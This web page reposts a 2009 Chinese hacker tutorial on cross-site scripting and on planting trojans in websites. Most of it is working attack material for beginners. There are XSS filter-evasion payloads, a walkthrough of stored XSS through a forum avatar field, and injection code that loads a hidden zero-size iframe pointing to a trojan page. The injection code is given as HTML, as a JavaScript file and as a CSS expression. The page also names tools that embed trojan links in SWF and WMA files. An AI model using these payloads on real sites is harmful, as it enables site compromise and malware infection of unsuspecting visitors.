首页/CSS代码外包/2009最新更新跨站挂马全攻略

2009最新更新跨站挂马全攻略

发布-xiaoming | 浏览量-

<img src=javascript:alert(“text-img”) ></img>
<script>alert("test")</script>
<IMG SRC=javascript:alert('XSS')>

<img src=javascr ipt:alert(“text-img”) ></img>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)跨站挂马全攻略

现在的黑客攻击手法中,跨站挂马似乎正在逐渐成为攻击的主流话题,鉴于这种形势,俺就把我学习跨站挂马的一点心得总结出来与大家分享。由于考虑到知识的认 知过程以及入门朋友们的技术底子问题,本文将分为“基础知识”、“跨站漏洞”与“挂马技巧”三部分组成,咱们先来学习一下基础知识,以及跨站攻击的利用方 法。
一、基础知识
1、什么是UBB码
XSS攻 击主要在两种环境下进行,一个是用户自己构造的比标签,构造者汇总标签要严格遵循HTML标记语言,而UBB码是HTML的一个变种,属于系统提供的标 签。UBB代码简单,功能很少,但是由于其TAG语法检查实现非常容易,所以许多网站引用了这种代码,以方便广大网友的使用,当然,同时也为我们打开了方 便之门。
下面我列出几个例子,以便大家对UBB码有一个感性的认识。
显示为粗体效果:文字
显示为斜体效果:文字
显示文字的超链接:[URL=http://www.hackerxfiles.net/]黑客X档案官方站[/ URL]
通过上面的例子,我们可以看出来UBB码用的是中括号标签“[”与“]”。
为什么介绍这些?因为关键时候,我们借助UBB码也可以达到跨站的效果。
2、什么是HTML输入
大家看到这的时候,有条件的可以打开X档案的网站看看,我们在IE浏览器的页面中单击右键,选择“察看源文件(V)”选项,如图1。

然后就会弹出如图2那样一个以首页文件命名的记事本。

我们可以看见里面的代码都是用“<”与“>”括起来的,而这个“<”与“>”分别就是HTML的开始与结束标记。例如我们输 入<Script>alert(“text”)< /Script>就是输入了一段HTML码,我们可以看见这段代码被“<”与“>”分成了两个标签,分别 是<Script>与< /Script >,中间的则是这个标签需要解释的内容,关于这段HTML码的意义,我在下面会为大家解释清楚,大家不要急,更不要怕!
其实基础的跨站应用无非就是几个步骤的问题,要比SQL注入简单多了!在这篇文章中我争取从实用角度出发,从而让大家从啥都不懂,到能自主实战,但是前提是你仔细的读过本文。

二、什么是跨站漏洞
所谓的跨站漏洞,就是一种往数据库里插入特定恶意代码的一种攻击技术,它被称为“XSS”或“CSS”,懂网页设计的朋友可能会困惑,CSS不是层叠式样 式表的简称吗?没错,只不过是重名而已,因为跨站攻击的英文是Cross-Site Scripting,所以简称为CSS。但是为了与层叠式样式表区分,现在普遍叫做XSS。那么XSS为什么会被称作为跨站攻击呢?这是因为黑客通过别人 的网站脚本漏洞达到攻击的效果,就是说可以隐藏攻击者的身份,因此叫做跨站攻击。其实“Cross-Site Scripting(跨站点脚本)”在意义上来讲是属于错误的名字,因为XSS攻击与脚本基本无关不说,甚至根本不一定是跨站点的。但是这在刚刚发现这种 攻击手法时就起了这样一个名字,所以沿用至今,大家也就只能接受了。
对于受到XSS攻击的服务器来说,被插入恶意代码的WEB程序会永久的储存这些代码,除非人为的删掉它!当有人访问这个WEB程序下的某个页面时,恶意代码就会混杂在正常的代码中发送给浏览者,从而导致浏览器执行相应代码,因此达到黑客的攻击目的。
一般情况下来讲,人机交互比较高的WEB程序更容易受到XSS攻击,比如论坛、留言板与带有评论功能的新闻系统等等。而当黑客成功插入相关恶意代码时,那 么他就可以挂马、获取管理员的登陆Cookie、强制执行操作甚至格式化浏览者的磁盘(不过用IE6.0的朋友不用担心硬盘被格式化,因为IE6.0的默 认安全规则会阻止这些危险动作的发生)!只要是脚本能够实现的功能,跨站攻击同样能达到,因此XSS攻击的危害程度甚至与溢出攻击都是不相上下!

三、跨站攻击的原理
其实, XSS攻击的本质还是注入的问题,只不过XSS攻击注入的是恶意的HTML脚本而已。但是这些注入的恶意代码为什么会被执行呢?这其实是由于浏览器的不足造成的。
因为浏览器在接受数据时,他无法辨认哪些是应该解释的代码,哪些是不需要解释的数据。如果是数据,浏览器完全可以简单的将其显示出来即可,但可悲的是浏览器做不到这点,只要碰到符合条件的标记,他就会将其解释执行,从而给我们XSS攻击埋下伏笔。
所以如果WEB程序在接受数据时如果不做有效的过滤,就会导致恶意代码进入数据库,而且我们注入的JavaScript代码可以在安全策略准许的范围内执行任何操作,如果这段JavaScript代码可以让对方的电脑下载并执行你的木马时,这就是我们所说的“挂马”了。
归根结底,跨站攻击的根本漏洞就在WEB程序里,大家可以看看图3。

有助于你进一步理解XSS攻击的含义,我们通过图3可以看出来,如果WEB程序能做跟好的滤,XSS攻击是完全有可能被避免的。


四、跨站攻击的挖掘
知道了XSS攻击的之后,我们怎样才能挖掘网站的XSS漏洞呢?
想挖掘网站的XSS漏洞,我们必须要有基本的脚本底子,鉴于我们叉子的电脑基础问题,这里我就先为大家解释一下标准测试代 码<Script>alert(“text”)< /Script>的意思,要注意看哦!其中的text可以改为任何字,如果存在XSS漏洞,我们使用这段代码进行XSS攻击后,浏览相的应页面就会 弹出包含text这个字符的提示框,如图4。

而<Script>与< /Script >则分别是脚本开始、结束的HTML标记,alert是JavaScript下的一个显示信息对话框的方法,这个大家知道就行。也就是说,如果跨站 成功,这个alert方法就会被执行。因此,我们就可以将alert换成任意的JavaScript代码,那么实现挂马功能自然也就不在话下了。
鉴于XSS攻击的危害性,一般的站点都会将<Script>与< /Script >这样敏感的关键字过滤,那该怎么办?难道我们一开始就被难住了吗?ON!我们当然不能被他们难住,肯定有办法突破的!
但是突破了这个限制,如果碰到别的限制怎么办呢?不要急,今天我就带领大家步步设防,在步步突破!从不断的突破中带领大家学习XSS攻击的大体思路!
那么面对我们的第一道关于<Script>与< /Script >的过滤我们该怎么办呢?
第一步就是看看替换大小写!这替换大小写真可谓万能招数啊……
我们只需将<Script>与< /Script >改为<ScRipT>与< /SCrIPt >或类似的形式即可。如果没通过怎么办?看看下面这个办法。
对于过滤<Script>与< /Script >来说,我们使用HTML标签下就可以绕过,例如:
<img src=javascript:alert(“text-img”) ></img>
它执行后与<Script>alert(“text”)< /Script>结果是一样的,如图5。

通过对比,我们可以知道被执行的是“ alert(“text-img”) ”这段JavaScript代码,而执行JavaScript的标记则变成了“ javascript: ”,这段XSS攻击代码巧妙的利用了<img>标签提供的“<>”号执行了相应的JavaScript代码。
那么,如果我们javascript:也被过滤了的话,那该怎么办呢?呵呵,我们还可以试试部分字符换作ASCII码表示是否可以。对于过滤 javascript:来说,我们就将javascript:中的某些字符转换为16进制的值,例如:<img src=”javascript:aler(/src-text/) “>,其中的j与j就是“j”与“:”的16进制。当然我们转换成<IMG SRC=javascript:alert('XSS')>效果更好些!除此之外,我们还可以将j由j转换成例如j也可以。
具体转换内容大家可以参考ASCII码表:
ASCII Hx Oct Char ASCII Hx Oct Char ASCII Hx Oct Char
32 20 040 SPACE 64 40 100 @ 96 60 140 `
33 21 041 ! 65 41 101 A 97 61 141 a
34 22 042 " 66 42 102 B 98 62 142 b
35 23 043 # 67 43 103 C 99 63 143 c
36 24 044 $ 68 44 104 D 100 64 144 d
37 25 045 % 69 45 105 E 101 65 145 e
38 26 046 & 70 46 106 F 102 66 146 f
39 27 047 ' 71 47 107 G 103 67 147 g
40 28 050 ( 72 48 110 H 104 68 150 h
41 29 051 ) 73 49 111 I 105 69 151 i
42 2A 052 * 74 4A 112 J 106 6A 152 j
43 2B 053 + 75 4B 113 K 107 6B 153 k
44 2C 054 , 76 4C 114 L 108 6C 154 l
45 2D 055 - 77 4D 115 M 109 6D 155 m
46 2E 056 . 78 4E 116 N 110 6E 156 n
47 2F 057 / 79 4F 117 O 111 6F 157 o
48 30 060 0 80 50 120 P 112 70 160 p
49 31 061 1 81 51 121 Q 113 71 161 q
50 32 062 2 82 52 122 R 114 72 162 r
51 33 063 3 83 53 123 S 115 73 163 s
52 34 064 4 84 54 124 T 116 74 164 t
53 35 065 5 85 55 125 U 117 75 165 u
54 36 066 6 86 56 126 V 118 76 166 v
55 37 067 7 87 57 127 W 119 77 167 w
56 38 070 8 88 58 130 X 120 78 170 x
57 39 071 9 89 59 131 Y 121 79 171 y
58 3A 072 : 90 5A 132 Z 122 7A 172 z
59 3B 073 ; 91 5B 133 [ 123 7B 173 {
60 3C 074 < 92 5C 134 \ 124 7C 174 
61 3D 075 = 93 5D 135 ] 125 7D 175 }
62 3E 076 > 94 5E 136 ^ 126 7E 176 ~
63 3F 077 ? 95 5F 137 _ 127 7F 177 DEL

但是如果对方又过滤了“&”号或“#”号该怎么办呢? 我们可以试试下面这条XSS攻击测试代码:
<img src=javascr ipt:alert(“text-img”) ></img>
看到了没有?中间的一个[Tab]键弄出来的空白(这个空白叫做制表符)即可绕过这类过滤,呵呵!除此之外以下几个XSS攻击代码也可以绕过这种过滤。
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
当然,如果仅仅是过滤掉javascript:的话,我们其实还有一个非常简单的方法,不用javascript脚本!别忘了微软还为我们准备了 VBScript啊!我们将代码简单的换成<IMG SRC='vbscript:msgbox("XSS")'>即可。
而如果对方过滤了“SRC”的话怎么办呢?呵呵!不急!我们还可以利用下面的XSS攻击代码绕过这种过滤,效果与利用SRC基本一致。
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
然而随着XSS攻击的频繁发生,程序员们都开始想着怎样避免漏洞的出现,于是他们过滤了制表符这类部常见的符号,过滤空格还过滤了javascript。
但是聪明的我们还可以利用事件和属性替换掉关键字,绕过监测,比如:
<img src="#" onerror=alert(/error-text/) >
由于HTML的脚本默认就是JavaScript,因此即便是我们不特别的声明,其中的alert(/error-text/)还是可以顺利执行,而它的 执行利用的是错误事件onerror才得以完成的。有的初学朋友可能会头晕了,什么事件啊属性啊什么的,我不懂啊!呵呵,不要着急,对于初学的朋友,你只 要记住其中的alert(/error-text/)可以换成其他JavaScript代码就可以了。
但是有的初学者不明白了,我们知道这些又有什么用呢?你可以将其换成<img src="#" onerror=document.write('http:\/\/a1pass.blog.163.com\/') >来实现挂马功能。而且到后期当你懂得一定的脚本知识时,你可以用它做更多的事。
哦,原来利用事件也能跨站,所以有的人又开始过滤事件,以使我们的onerror事件无法执行。但是“山穷水尽疑无路,柳暗花明又一村”,总使你过滤再多的事件,如果我自己构造一个呢?下面这段代码就是我构造的一个叫做“A1Pass”的事件,它的执行结果与通过onerror来执行JavaScript代码的结果是一样的。
<img src="#" style="A1Pass:expression(alert(/style -text/));">
执行结果如图6所示。

我们甚至不要SRC并且脱离<img>标签都可以成功进行XSS攻击!例如下面那段XSS测试代码。
< DIV style="A1Pass:expression(alert(/style -text/));">
值得注意的是,通过style构造的事件会执行两次,而且当鼠标移过时也会再次触发style事件。
当然除此之外我们还可以利用其他未被过滤的事件,或者利用上面所说的制表符(Tab键)来分割被过滤的关键字,除此之外注释符号“/**/”也可以当作空格来用,例如:
< img src="#"/**/onerror=alert(/error-text/) >
讲到这里有的朋友可能已经按耐不住了,那我们应该怎样去挖掘这些漏洞呢?我可以很负责任的告诉你,在你理解这些XSS攻击方法的前提下,挖掘这些漏洞就显得比较简单了,我们下面进行一次XSS攻击的实验。
大家都知道,可以输入信息的地方才有可能构成XSS攻击,但是选择一个输入点的好坏直接关系到XSS攻击的威力与成功几率。
我们先从威力方面考虑,当然是用户浏览次数越多,交互越频繁的地方,你进行XSS攻击后的效果就越明显,就拿论坛来说,用户头像、签名等都是比较高效而且较易成功的XSS攻击点。
下面我们就拿一个动网论坛做一下实验。
第一步先在网上找一个动网论坛,关键字是POWERED BY DVBBS ,大家自己搜吧。找到后先查看自己的权限,因为我们要利用自定义头像进行XSS攻击,所以为了能自定义头像,我这里需要先发10篇帖子……
第二步开始验测,我们在动网“自定义头像地址:”中输入我们的XSS测试代码<script>alert(“text”)< /script>,然后点击保存。
但是我们刷新后并没有看到text弹出来啊!如图7,怎么办?首先我们在返回的页面信息中可以看到完整的XSS测试代码<script>alert(“text”)< /script>,这至少证明没有被过滤。

小技巧:如果我们在某一个页面提交完XSS代码,刷新后还能显示的话(例如完整显示<script>),那大多数的情况是这个站点存在XSS漏洞!只是还需要我们进一步去挖掘。

但是他为什么没有顺利执行呢?这时就需要我们察看网页的源代码了,我们在IE浏览器的页面中单击右键,选择“察看源文件(V)”选项,即可看到这个页面的HTML源代码,按[Ctrl]+[F]快捷键调出查找对话框,输入alert(“text”)后我们找到了如下代码:
<a href="#" title="头像预览列表">[<font color="#FF0000">头像预览</font>]</a></td>
<td width="180" rowspan="2" valign="top" align="center">
<img id="face" src="<script>alert(“text”)< /script>" width="120" height="120" />
</td></tr>
大家可以看到我们的XSS测试代码确实没有被过滤,但是被<img>标签的“< >”给包围了,当然就不能执行了!我们怎么办呢?
这里给大家一个思路:逆向思考!我们怎样不被包围呢?呵呵!大家看看下面这段新构造的XSS测试代码。
><script>alert(“text”)< /script><
当我们输入这段代码后,原先闭合的<img>标签被我们拆分为<img id="face" src="><script>alert(“text”)< /script><" width="120" height="120" />
也就是变成<img id="face" src=">、<script>alert(“text”)</script>、<"width="120" height="120" />三个单独的语句,我们可爱的<script>alert(“text”)< /script>就这样被我们解围了。
关于XSS攻击其实是没有定律的,就拿我们绕过验证方法来看,除了上面的其实还有许多许多!随着你脚本底子的增加,你会发现更多的XSS攻击代码!但是我最后要说的就是一定要注意到浏览器的存在!
在本小结的最后我为大家附上一些针对不同浏览器可以成功执行的XSS攻击代码,希望能给大家一些启示。
<a href="javascript#[code]">
<div >
<img src="javascript:[code]">
<img tdynsrc="javascript;[code]"> [IE浏览器]
<input type="imge" dynsrc="javascript;[code]"> [IE浏览器]
<bagsound src="javascript;[code]"> [IE浏览器]
&<script>[code]</script>
&{[code]} [N4浏览器]
<img src=&{[code]};>
<link rel="stylesheet" herf="javascript;[code]">
<iframe src="vbscript:[code]"> [IE浏览器]
<img src="mocha:[code]"> [N4浏览器]
<img src="livescript:[code]"> [N4浏览器]
<div style="behaviour:url([link to code])"> [IE浏览器]
<div style="binding:url([link to code])"> [Mozilla浏览器]
<div style="width:expression([code]);"> [IE浏览器]
<object classid="clsid:..." codebase="javascript:[code]"> [IE浏览器]
[\xCO][\xBC]script>[code][\xCO][\xBC]/script> [UTF-8;IE;Opera浏览器]
上面的内容是我参考安全焦点出版的《网络渗透技术》做的摘录。

五、挂马技术
对于挂马,强烈要求大家带着学习的目的去钻研,不要拿出去害自己的同胞……

1、什么是挂马
最近看中央电视台的一个有关于黑客的节目,字幕上竟然把“挂马”显示成“挂码”!估计是对黑客技术不了解所致。但是也可以看得出来大家对于挂马技术的陌生。
其实通过名字就可以知道一二,挂马就是指一种将木马程序“挂”到大家比较信赖的网站上,从而使得浏览此网站的网民电脑被非法植入木马的行为。
如果挂马技术比较成熟,被挂马的网站服务人员与浏览此网站的网民一般很难察觉!所以说挂马具有隐藏性好,危害巨大的特点,大家试想一下,如果百度首页被挂马,那么后果会怎样?只需1天就会有上千万人的电脑被非法控制!
2、挂马的原理
关于挂马技术,与XSS基本一致,但貌似比XSS技术的门槛低。而就夸马的方式来说,一个是通过漏洞挂马(例如XSS),一个是通过拥有的绝对权限挂马, 例如我们利用WEBShell进行批量挂马。但是不管是利用什么方法,只有我们有良好的挂马代码才会获得比较好的效果……
挂马的基本思想就是利用本地溢出漏洞构造下载执行的ShellCode,从而下载并执行指定的程序,如图8。

关于溢出漏洞,可以是IE本身存在的漏洞,可以是与IE有联系的漏洞,例如WORD、FILASH、WMA音频等等。
3、挂马实战
挂马于XSS一样,都有一个“基本代码”,而挂马的基本代码则是:
<iframe src=http://www.***.com/muma.htm width=0 height=0>< iframe>
通过上面的学习,相信入门的朋友对HTML已经有点了解了吧?我们可以看到这是一个包含< ifarme>标签的代码,< ifarme>标签是用来在网页内嵌入另一个页面的,如图9就是一嵌入页面。]

通过代码我们很容易就能知道他嵌入的是一个宽[width]为500像素,高[height]为100像素的页面,通过对比,我们可以发现本文例子的宽和高都是0,这就起到了隐藏访问木马网页的目的。
但是现在稍微有点安全常识的人都知道查找关键字ifarme了,所以要实行有效的挂马,最好是使用其它的挂马技巧。而另外一个常用的方法就是JS挂马了, 这里的JS和我们上面谈到的JavaScript一样,JS挂马当然是先创建JS文件,我们先建一个记事本,将以下代码输入到里面。
Top.document.body.innerHTML = top.document.body.innerHTML +’\r\n<iframe src=http://www.***.com/muma.htm width=0 height=0>< iframe>’;
然后依次选择“文件”>“另存为(A)…”保存为.js文件,如图10。将其上传到你所能控制的服务器中。

现在我们只要在那个网页中插入< script src=http://你的JS文件保存地址></script>,以后只要有人浏览这个页面就会偷偷的转向我们JS文件里 http://www.***.com/muma.htm,从而达到挂马的目的。
这种方法很好的避开了关键字ifarme,只要我们的JS文件的名称起的具有迷惑性,一般的应该都可以蒙混过关。如果还想要更加隐蔽的方式,那就只有使用CSS来挂马了。
通过上面的文章大家应该对CSS有所了解,CSS是层叠式样式表的简称,也就是说我们可以利用层叠式样式表来挂马,熟悉网页设计的都知道,凡是比较复杂漂亮的页面,一般都要用到层叠式样式表,而且层叠式样式表的代码繁杂,从而有效地掩护了我们的挂马代码。
我们只要在CSS文件中包含以下代码即可。
Body{
Hytop: expression(op.document.body.innerHTML = top.document.body.innerHTML +’\r\n<iframe src=http://www.***.com/muma.htm width=0 height=0>< iframe>’;);
}
然后在我们要挂马的页面引用这个CSS文件就可以了,引用代码如下。
<link href=”css.css” rel=”stylesheet” type=”text/css”>
有了这三种方法撑腰,你的网马挂的应该算是比较成熟了,但是除此之外,我们还有其它比较另类的挂马方法,正可谓剑走偏锋,出其不意!
第一个要介绍的就是“臭要饭的”写的“IcodeToSWF”,它可以将我们的网页木马地址插入到SWF文件里,当别人兴高采烈的观看动画时,他已经成为我们粥中的肉鸡了!
关于IcodeToSWF的使用方法非常简单,我们代开文件后选择需要插马的SWF文件,然后输入我们的目马网址点击“给我插”就可以了,如图11。

最近总是听说网易博客中毒了!一听吓我一大跳!网易的BLOG还没智能到可以运行病毒的程度吧?最后经过调查发现,原来是WMA文件被插了木马!
于是乎淘到了一款傻瓜化的WMA插马工具,我们只需输入木马地址与音乐地址保存即可,如图12。

不过这个工具毛病很多,例如WMA音乐的地址最好手动输入,不要粘贴,否则会出问题……
关于挂马就想讲到这里了,结束前在告诉大家一个技巧,关于HTML文件远程访问时我们可以将后缀名改为其它的,例http://www.***.com /muma.jpghttp://www.***.com/muma.abcd都可以正常执行!除了HTML文件,JS文件也可以这样随意改动后缀名,甚 至无后缀名都可以!
关于挂马,我最后要说的一句话就是“害人终害己”,切记!

到这里文章全部结束了,本想讲的更加详细一些,涉及的更广一些,但是想到憧憧不知的菜鸟们,使我努力将文章难度降低,以便于入门朋友的学习。关于这片文 章,入门的朋友们不要看到代码就头大,其实大多数只是改个网址就可以应用的,为了方便广大读者,我已经将本文涉及到的所有应用代码整理初来,详情请见光 盘。

 
 

原文地址:http://www.35ui.cn/post/20090428478.html

标签网站设计工作室seo网站优化ps网页切图做网页网页开发工具做网页常用代码网页美工培训班北京网页设计培训网站制作公司

上一条: 母亲节关于母亲节母爱的英文名言警句?
下一条: 关于数据库注入测试的一点小技巧

或许你还对下面的文章感兴趣